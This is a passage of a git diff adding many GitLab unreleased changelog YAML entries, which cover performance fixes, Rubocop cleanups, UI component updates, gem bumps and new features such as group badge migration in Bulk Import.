diff --git a/changelogs/unreleased/georgekoltsov-bulk-import-badges.yml b/changelogs/unreleased/georgekoltsov-bulk-import-badges.yml
new file mode 100644
index 00000000000..6086e6f62a7
--- /dev/null
+++ b/changelogs/unreleased/georgekoltsov-bulk-import-badges.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate group badges when using Bulk Import
+merge_request: 56357
+author:
+type: added
diff --git a/changelogs/unreleased/georgekoltsov-fix-epics-pipeline.yml b/changelogs/unreleased/georgekoltsov-fix-epics-pipeline.yml
new file mode 100644
index 00000000000..cbff94d2ffd
--- /dev/null
+++ b/changelogs/unreleased/georgekoltsov-fix-epics-pipeline.yml
@@ -0,0 +1,5 @@
+---
+title: Fix user reference transformation in EpicsPipeline
+merge_request: 58913
+author:
+type: fixed
diff --git a/changelogs/unreleased/georgekoltsov-increase-bulk-import-default-page-size.yml b/changelogs/unreleased/georgekoltsov-increase-bulk-import-default-page-size.yml
new file mode 100644
index 00000000000..6171a184115
--- /dev/null
+++ b/changelogs/unreleased/georgekoltsov-increase-bulk-import-default-page-size.yml
@@ -0,0 +1,6 @@
+---
+title: Update BulkImport default page size to 500 in order to process larger page
+ of data
+merge_request: 57594
+author:
+type: other
diff --git a/changelogs/unreleased/gitlab-ui-integration-1226-make-popover-focus-by-default.yml b/changelogs/unreleased/gitlab-ui-integration-1226-make-popover-focus-by-default.yml
new file mode 100644
index 00000000000..fd3a744afb9
--- /dev/null
+++ b/changelogs/unreleased/gitlab-ui-integration-1226-make-popover-focus-by-default.yml
@@ -0,0 +1,5 @@
+---
+title: Show popovers on hover and focus by default
+merge_request: 56778
+author:
+type: changed
diff --git a/changelogs/unreleased/gl-badge-dashboard.yml b/changelogs/unreleased/gl-badge-dashboard.yml
new file mode 100644
index 00000000000..f5087769429
--- /dev/null
+++ b/changelogs/unreleased/gl-badge-dashboard.yml
@@ -0,0 +1,5 @@
+---
+title: Add gl-badge for badges in dashboard nav
+merge_request: 57936
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/gl-badge-members.yml b/changelogs/unreleased/gl-badge-members.yml
new file mode 100644
index 00000000000..0a309e7d7ca
--- /dev/null
+++ b/changelogs/unreleased/gl-badge-members.yml
@@ -0,0 +1,5 @@
+---
+title: Add gl-badge for badges in group members page
+merge_request: 57933
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/gl-badge-mr-nav.yml b/changelogs/unreleased/gl-badge-mr-nav.yml
new file mode 100644
index 00000000000..f8b8f5e537d
--- /dev/null
+++ b/changelogs/unreleased/gl-badge-mr-nav.yml
@@ -0,0 +1,5 @@
+---
+title: Add gl-badge for badges in MR page nav
+merge_request: 57969
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/gl-badge-project-members.yml b/changelogs/unreleased/gl-badge-project-members.yml
new file mode 100644
index 00000000000..adb804337f8
--- /dev/null
+++ b/changelogs/unreleased/gl-badge-project-members.yml
@@ -0,0 +1,5 @@
+---
+title: Add gl-badge for badges in project members page
+merge_request: 57934
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/gl-badge-starrers.yml b/changelogs/unreleased/gl-badge-starrers.yml
new file mode 100644
index 00000000000..0b33064c780
--- /dev/null
+++ b/changelogs/unreleased/gl-badge-starrers.yml
@@ -0,0 +1,5 @@
+---
+title: Apply new GitLab UI for badge in starrers page
+merge_request: 56091
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/gl-button-create-tag.yml b/changelogs/unreleased/gl-button-create-tag.yml
new file mode 100644
index 00000000000..31ae0d2ba2e
--- /dev/null
+++ b/changelogs/unreleased/gl-button-create-tag.yml
@@ -0,0 +1,5 @@
+---
+title: Apply new GitLab UI for buttons in create tag page
+merge_request:
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/gl-button-shared-1.yml b/changelogs/unreleased/gl-button-shared-1.yml
new file mode 100644
index 00000000000..d230a0f0322
--- /dev/null
+++ b/changelogs/unreleased/gl-button-shared-1.yml
@@ -0,0 +1,5 @@
+---
+title: Apply GitLab UI button styles to buttons in app/views/shared directory
+merge_request: 53474
+author: Yogi (@yo)
+type: other
diff --git a/changelogs/unreleased/gl-form-gpg.yml b/changelogs/unreleased/gl-form-gpg.yml
new file mode 100644
index 00000000000..c0ac79e168e
--- /dev/null
+++ b/changelogs/unreleased/gl-form-gpg.yml
@@ -0,0 +1,5 @@
+---
+title: Apply gl-form-input for fields in GPG keys page
+merge_request: 58002
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/gl-form-new-schedule.yml b/changelogs/unreleased/gl-form-new-schedule.yml
new file mode 100644
index 00000000000..4fbb6480d92
--- /dev/null
+++ b/changelogs/unreleased/gl-form-new-schedule.yml
@@ -0,0 +1,5 @@
+---
+title: Apply gl-form-input for fields in new schedule page
+merge_request: 58015
+author: Yogi (@yo)
+type: changed
diff --git a/changelogs/unreleased/graphql-expose-timelogs-against-issuables.yml b/changelogs/unreleased/graphql-expose-timelogs-against-issuables.yml
new file mode 100644
index 00000000000..22bb210931f
--- /dev/null
+++ b/changelogs/unreleased/graphql-expose-timelogs-against-issuables.yml
@@ -0,0 +1,5 @@
+---
+title: Expose timelogs against issues and merge requests in GraphQL
+merge_request: 57321
+author: Lee Tickett @leetickett
+type: added
diff --git a/changelogs/unreleased/group-applications.yml b/changelogs/unreleased/group-applications.yml
new file mode 100644
index 00000000000..91eda0cf83f
--- /dev/null
+++ b/changelogs/unreleased/group-applications.yml
@@ -0,0 +1,5 @@
+---
+title: Support group applications
+merge_request: 55152
+author: Jonas Wälter @wwwjon, Bastian Blank
+type: added
diff --git a/changelogs/unreleased/hchouraria-backup-repository-empty-repo-skipped.yml b/changelogs/unreleased/hchouraria-backup-repository-empty-repo-skipped.yml
new file mode 100644
index 00000000000..272457a0059
--- /dev/null
+++ b/changelogs/unreleased/hchouraria-backup-repository-empty-repo-skipped.yml
@@ -0,0 +1,5 @@
+---
+title: Add message for repository backup skip
+merge_request: 54285
+author:
+type: other
diff --git a/changelogs/unreleased/id-bump-devise-two-factor.yml b/changelogs/unreleased/id-bump-devise-two-factor.yml
new file mode 100644
index 00000000000..6a75991aaa4
--- /dev/null
+++ b/changelogs/unreleased/id-bump-devise-two-factor.yml
@@ -0,0 +1,5 @@
+---
+title: Bump devise-two-factor version
+merge_request: 58929
+author:
+type: other
diff --git a/changelogs/unreleased/id-bump-gon-version.yml b/changelogs/unreleased/id-bump-gon-version.yml
new file mode 100644
index 00000000000..c932da6e3b1
--- /dev/null
+++ b/changelogs/unreleased/id-bump-gon-version.yml
@@ -0,0 +1,5 @@
+---
+title: Update gon gem to 6.4.0
+merge_request: 51210
+author:
+type: other
diff --git a/changelogs/unreleased/id-bump-rspec-rails-to-5-1.yml b/changelogs/unreleased/id-bump-rspec-rails-to-5-1.yml
new file mode 100644
index 00000000000..c2c924636a1
--- /dev/null
+++ b/changelogs/unreleased/id-bump-rspec-rails-to-5-1.yml
@@ -0,0 +1,5 @@
+---
+title: Bump rspec-rails to 5.0.1
+merge_request: 59194
+author:
+type: other
diff --git a/changelogs/unreleased/id-bump-rspec-rails.yml b/changelogs/unreleased/id-bump-rspec-rails.yml
new file mode 100644
index 00000000000..50806bb019e
--- /dev/null
+++ b/changelogs/unreleased/id-bump-rspec-rails.yml
@@ -0,0 +1,5 @@
+---
+title: Bump rspec-rails to 4.1.2
+merge_request: 59130
+author:
+type: other
diff --git a/changelogs/unreleased/id-cache-cache-merge-request-versions-version-api.yml b/changelogs/unreleased/id-cache-cache-merge-request-versions-version-api.yml
new file mode 100644
index 00000000000..2b868d741bf
--- /dev/null
+++ b/changelogs/unreleased/id-cache-cache-merge-request-versions-version-api.yml
@@ -0,0 +1,5 @@
+---
+title: Cache merge request diff version API
+merge_request: 57568
+author:
+type: performance
diff --git a/changelogs/unreleased/id-enable-pick-into-project.yml b/changelogs/unreleased/id-enable-pick-into-project.yml
new file mode 100644
index 00000000000..9ed7c837dd5
--- /dev/null
+++ b/changelogs/unreleased/id-enable-pick-into-project.yml
@@ -0,0 +1,5 @@
+---
+title: Allow cherry-picking to a fork's parent
+merge_request: 59399
+author:
+type: added
diff --git a/changelogs/unreleased/id-move-ci-related-paths-to-cached-widget.yml b/changelogs/unreleased/id-move-ci-related-paths-to-cached-widget.yml
new file mode 100644
index 00000000000..4b75b0ac049
--- /dev/null
+++ b/changelogs/unreleased/id-move-ci-related-paths-to-cached-widget.yml
@@ -0,0 +1,5 @@
+---
+title: Move CI related paths to cached MR widget
+merge_request: 58711
+author:
+type: performance
diff --git a/changelogs/unreleased/id-n-1-for-api-deployments.yml b/changelogs/unreleased/id-n-1-for-api-deployments.yml
new file mode 100644
index 00000000000..b6b97a71c24
--- /dev/null
+++ b/changelogs/unreleased/id-n-1-for-api-deployments.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve N + 1 for deployments API
+merge_request: 57558
+author:
+type: performance
diff --git a/changelogs/unreleased/id-n-1-for-commits-notes.yml b/changelogs/unreleased/id-n-1-for-commits-notes.yml
new file mode 100644
index 00000000000..a9f46ace96b
--- /dev/null
+++ b/changelogs/unreleased/id-n-1-for-commits-notes.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve N + 1 for commits notes API
+merge_request: 57641
+author:
+type: performance
diff --git a/changelogs/unreleased/id-n-1-for-deploy-keys.yml b/changelogs/unreleased/id-n-1-for-deploy-keys.yml
new file mode 100644
index 00000000000..34db7d37751
--- /dev/null
+++ b/changelogs/unreleased/id-n-1-for-deploy-keys.yml
@@ -0,0 +1,5 @@
+---
+title: Remove N+1 for API :id/deploy_keys
+merge_request: 57295
+author:
+type: performance
diff --git a/changelogs/unreleased/id-n-1-for-jira-pulls.yml b/changelogs/unreleased/id-n-1-for-jira-pulls.yml
new file mode 100644
index 00000000000..e6d37b54c49
--- /dev/null
+++ b/changelogs/unreleased/id-n-1-for-jira-pulls.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve N + 1 for JIRA pulls
+merge_request: 57482
+author:
+type: performance
diff --git a/changelogs/unreleased/id-n-1-for-merge-request-commits.yml b/changelogs/unreleased/id-n-1-for-merge-request-commits.yml
new file mode 100644
index 00000000000..b958a8b3c7e
--- /dev/null
+++ b/changelogs/unreleased/id-n-1-for-merge-request-commits.yml
@@ -0,0 +1,5 @@
+---
+title: Remove N+1 for API commits/:sha/merge_requests
+merge_request: 57290
+author:
+type: performance
diff --git a/changelogs/unreleased/id-n-1-for-milestone-issues.yml b/changelogs/unreleased/id-n-1-for-milestone-issues.yml
new file mode 100644
index 00000000000..79c7d453a90
--- /dev/null
+++ b/changelogs/unreleased/id-n-1-for-milestone-issues.yml
@@ -0,0 +1,5 @@
+---
+title: Remove N + 1 for milestones issues
+merge_request: 57349
+author:
+type: performance
diff --git a/changelogs/unreleased/id-preload-all-user-callouts.yml b/changelogs/unreleased/id-preload-all-user-callouts.yml
new file mode 100644
index 00000000000..89f6879705b
--- /dev/null
+++ b/changelogs/unreleased/id-preload-all-user-callouts.yml
@@ -0,0 +1,5 @@
+---
+title: Preload all user callouts in a single request
+merge_request: 57679
+author:
+type: performance
diff --git a/changelogs/unreleased/id-preload-associations-to-milestones-mrs.yml b/changelogs/unreleased/id-preload-associations-to-milestones-mrs.yml
new file mode 100644
index 00000000000..67f862869e1
--- /dev/null
+++ b/changelogs/unreleased/id-preload-associations-to-milestones-mrs.yml
@@ -0,0 +1,5 @@
+---
+title: 'Fix N + 1 for MilestonesController#merge_requests'
+merge_request: 57980
+author:
+type: performance
diff --git a/changelogs/unreleased/id-reduce-cached-requests.yml b/changelogs/unreleased/id-reduce-cached-requests.yml
new file mode 100644
index 00000000000..9a08a239c9b
--- /dev/null
+++ b/changelogs/unreleased/id-reduce-cached-requests.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce SQL requests on building artifacts
+merge_request: 58339
+author:
+type: performance
diff --git a/changelogs/unreleased/id-reduce-sql-requests-for-issue-links.yml b/changelogs/unreleased/id-reduce-sql-requests-for-issue-links.yml
new file mode 100644
index 00000000000..d16ef0fb7ab
--- /dev/null
+++ b/changelogs/unreleased/id-reduce-sql-requests-for-issue-links.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce SQL requests number for issue links
+merge_request: 57602
+author:
+type: performance
diff --git a/changelogs/unreleased/id-remove-cached-api-ff.yml b/changelogs/unreleased/id-remove-cached-api-ff.yml
new file mode 100644
index 00000000000..c37bdf5c9ab
--- /dev/null
+++ b/changelogs/unreleased/id-remove-cached-api-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Remove cached_api_merge_request_version feature flag
+merge_request: 58670
+author:
+type: changed
diff --git a/changelogs/unreleased/id-remove-cached-pipeline-serializer-ff.yml b/changelogs/unreleased/id-remove-cached-pipeline-serializer-ff.yml
new file mode 100644
index 00000000000..6663aa0ccf2
--- /dev/null
+++ b/changelogs/unreleased/id-remove-cached-pipeline-serializer-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Move pipelines calculation from widget.json to cached_widget.json
+merge_request: 57822
+author:
+type: performance
diff --git a/changelogs/unreleased/implement-blocking-issue-popover-for-boards.yml b/changelogs/unreleased/implement-blocking-issue-popover-for-boards.yml
new file mode 100644
index 00000000000..e8bf4fa46a6
--- /dev/null
+++ b/changelogs/unreleased/implement-blocking-issue-popover-for-boards.yml
@@ -0,0 +1,5 @@
+---
+title: Add blocked issues detail popover for boards cards
+merge_request: 55821
+author:
+type: added
diff --git a/changelogs/unreleased/improve-mr-analytics-graphql-count-query.yml b/changelogs/unreleased/improve-mr-analytics-graphql-count-query.yml
new file mode 100644
index 00000000000..8b343a4cb42
--- /dev/null
+++ b/changelogs/unreleased/improve-mr-analytics-graphql-count-query.yml
@@ -0,0 +1,5 @@
+---
+title: Improve the performance of Merge Request Analytics table
+merge_request: 56380
+author:
+type: performance
diff --git a/changelogs/unreleased/improve-todo-service-database-performance.yml b/changelogs/unreleased/improve-todo-service-database-performance.yml
new file mode 100644
index 00000000000..5e523633387
--- /dev/null
+++ b/changelogs/unreleased/improve-todo-service-database-performance.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce N+1 queries in creating todos after user mentions in a note
+merge_request: 57525
+author:
+type: performance
diff --git a/changelogs/unreleased/improve_notification_settings_query_performance.yml b/changelogs/unreleased/improve_notification_settings_query_performance.yml
new file mode 100644
index 00000000000..9845df3d8ce
--- /dev/null
+++ b/changelogs/unreleased/improve_notification_settings_query_performance.yml
@@ -0,0 +1,5 @@
+---
+title: Adjust indices to improve query performance for notification_settings
+merge_request: 58895
+author:
+type: performance
diff --git a/changelogs/unreleased/in-product-email-campaigns-self-managed.yml b/changelogs/unreleased/in-product-email-campaigns-self-managed.yml
new file mode 100644
index 00000000000..22c7332e507
--- /dev/null
+++ b/changelogs/unreleased/in-product-email-campaigns-self-managed.yml
@@ -0,0 +1,5 @@
+---
+title: Send in-product marketing emails to guide users setting up their groups
+merge_request: 53715
+author:
+type: added
diff --git a/changelogs/unreleased/include-squash-commits-in-changelogs.yml b/changelogs/unreleased/include-squash-commits-in-changelogs.yml
new file mode 100644
index 00000000000..cbcf2e8190b
--- /dev/null
+++ b/changelogs/unreleased/include-squash-commits-in-changelogs.yml
@@ -0,0 +1,5 @@
+---
+title: Link squashed commits using the changelog API
+merge_request: 56985
+author:
+type: added
diff --git a/changelogs/unreleased/index-members-user-id-source-id-source-type.yml b/changelogs/unreleased/index-members-user-id-source-id-source-type.yml
new file mode 100644
index 00000000000..9f3000facf6
--- /dev/null
+++ b/changelogs/unreleased/index-members-user-id-source-id-source-type.yml
@@ -0,0 +1,5 @@
+---
+title: Add migration to index members on user_id, source_id, and source_type
+merge_request: 59051
+author:
+type: performance
diff --git a/changelogs/unreleased/inherited_issuable_templates_default_enabled.yml b/changelogs/unreleased/inherited_issuable_templates_default_enabled.yml
new file mode 100644
index 00000000000..25bf183e441
--- /dev/null
+++ b/changelogs/unreleased/inherited_issuable_templates_default_enabled.yml
@@ -0,0 +1,5 @@
+---
+title: Configure issue and merge request description templates at group level and rolldown description templates in the group hierarchy
+merge_request: 56737
+author:
+type: added
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-admin-controllers.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-admin-controllers.yml
new file mode 100644
index 00000000000..ff9b464c403
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-admin-controllers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for admin controllers
+merge_request: 57644
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-banzai-module.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-banzai-module.yml
new file mode 100644
index 00000000000..f3715817ea0
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-banzai-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for banzai modules
+merge_request: 58108
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-commit-models.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-commit-models.yml
new file mode 100644
index 00000000000..e4026ae6c9c
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-commit-models.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for commit models
+merge_request: 58069
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-deploy-modules.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-deploy-modules.yml
new file mode 100644
index 00000000000..db69bca419c
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-deploy-modules.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for deployment modules
+merge_request: 58040
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-email-handlers.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-email-handlers.yml
new file mode 100644
index 00000000000..168811e7b19
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-email-handlers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for email handlers
+merge_request: 58095
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-gitaly-client-module.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-gitaly-client-module.yml
new file mode 100644
index 00000000000..54bbf67439d
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-gitaly-client-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for gitaly client models
+merge_request: 58089
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-hooks-models.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-hooks-models.yml
new file mode 100644
index 00000000000..d8a73f40114
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-hooks-models.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for hooks module
+merge_request: 57918
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-issue-models.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-issue-models.yml
new file mode 100644
index 00000000000..7197d1f1f68
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-issue-models.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for issue models
+merge_request: 58052
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-legacy-github-import-module.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-legacy-github-import-module.yml
new file mode 100644
index 00000000000..c9dba61ef6c
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-legacy-github-import-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for legacy github import
+merge_request: 58054
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-markdown-cache-module.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-markdown-cache-module.yml
new file mode 100644
index 00000000000..f4582c00efa
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-markdown-cache-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for markdown cache modules
+merge_request: 58063
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-mattermost-module.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-mattermost-module.yml
new file mode 100644
index 00000000000..03001351808
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-mattermost-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for mattermost modules
+merge_request: 58048
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-presenter-module.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-presenter-module.yml
new file mode 100644
index 00000000000..0351ed00e44
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-presenter-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for presenters
+merge_request: 57888
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-requests-api-module.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-requests-api-module.yml
new file mode 100644
index 00000000000..316bc1d5cc0
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-requests-api-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for requests/api module
+merge_request: 57887
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-220040-fix-rails-savebang-requests-spec.yml b/changelogs/unreleased/issue-220040-fix-rails-savebang-requests-spec.yml
new file mode 100644
index 00000000000..2ec522bf142
--- /dev/null
+++ b/changelogs/unreleased/issue-220040-fix-rails-savebang-requests-spec.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Rails/SaveBang Rubocop offenses for requests module
+merge_request: 57883
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-276385-remove-temporary_index_vulnerabilities_on_id.yml b/changelogs/unreleased/issue-276385-remove-temporary_index_vulnerabilities_on_id.yml
new file mode 100644
index 00000000000..8053f2a3f25
--- /dev/null
+++ b/changelogs/unreleased/issue-276385-remove-temporary_index_vulnerabilities_on_id.yml
@@ -0,0 +1,5 @@
+---
+title: Remove temporary index from vulnerabilities table
+merge_request: 57656
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: removed
diff --git a/changelogs/unreleased/issue-325831-make-searchQueryService-paramter-optional.yml b/changelogs/unreleased/issue-325831-make-searchQueryService-paramter-optional.yml
new file mode 100644
index 00000000000..77866a0acad
--- /dev/null
+++ b/changelogs/unreleased/issue-325831-make-searchQueryService-paramter-optional.yml
@@ -0,0 +1,5 @@
+---
+title: Make NuGet SearchQueryService q parameter optional
+merge_request: 57654
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-api-entities.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-api-entities.yml
new file mode 100644
index 00000000000..f6451c9ca92
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-api-entities.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe Rubocop offenses for api entities
+merge_request: 58193
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-api-helpers.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-api-helpers.yml
new file mode 100644
index 00000000000..68566e26cc8
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-api-helpers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe Rubocop offenses for api helpers
+merge_request: 58194
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-boards-module.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-boards-module.yml
new file mode 100644
index 00000000000..883acd84475
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-boards-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe Rubocop offenses for boards module
+merge_request: 58180
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-design-management-module.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-design-management-module.yml
new file mode 100644
index 00000000000..f5dbe51ef3c
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-design-management-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses for design management module
+merge_request: 58189
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-error-tracking-module.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-error-tracking-module.yml
new file mode 100644
index 00000000000..dbac5637839
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-error-tracking-module.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses for error tracking module
+merge_request: 58182
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-alert-management.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-alert-management.yml
new file mode 100644
index 00000000000..f3680af87e4
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-alert-management.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe in spec/lib/gitlab/alert_management
+merge_request: 58244
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-analytics.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-analytics.yml
new file mode 100644
index 00000000000..0b8df51f363
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-analytics.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/lib/gitlab/analytics
+merge_request: 58245
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-auth.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-auth.yml
new file mode 100644
index 00000000000..e8469d7e0da
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-auth.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/lib/gitlab/auth
+merge_request: 58246
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-checks.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-checks.yml
new file mode 100644
index 00000000000..cc8258f21a8
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-checks.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/lib/gitlab/checks
+merge_request: 58248
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-github-import.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-github-import.yml
new file mode 100644
index 00000000000..fb0ece8309f
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-github-import.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses spec/lib/gitlab/github_import
+merge_request: 58256
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-graphql.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-graphql.yml
new file mode 100644
index 00000000000..ae66f876a4e
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-gitlab-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/lib/gitlab/graphql
+merge_request: 58261
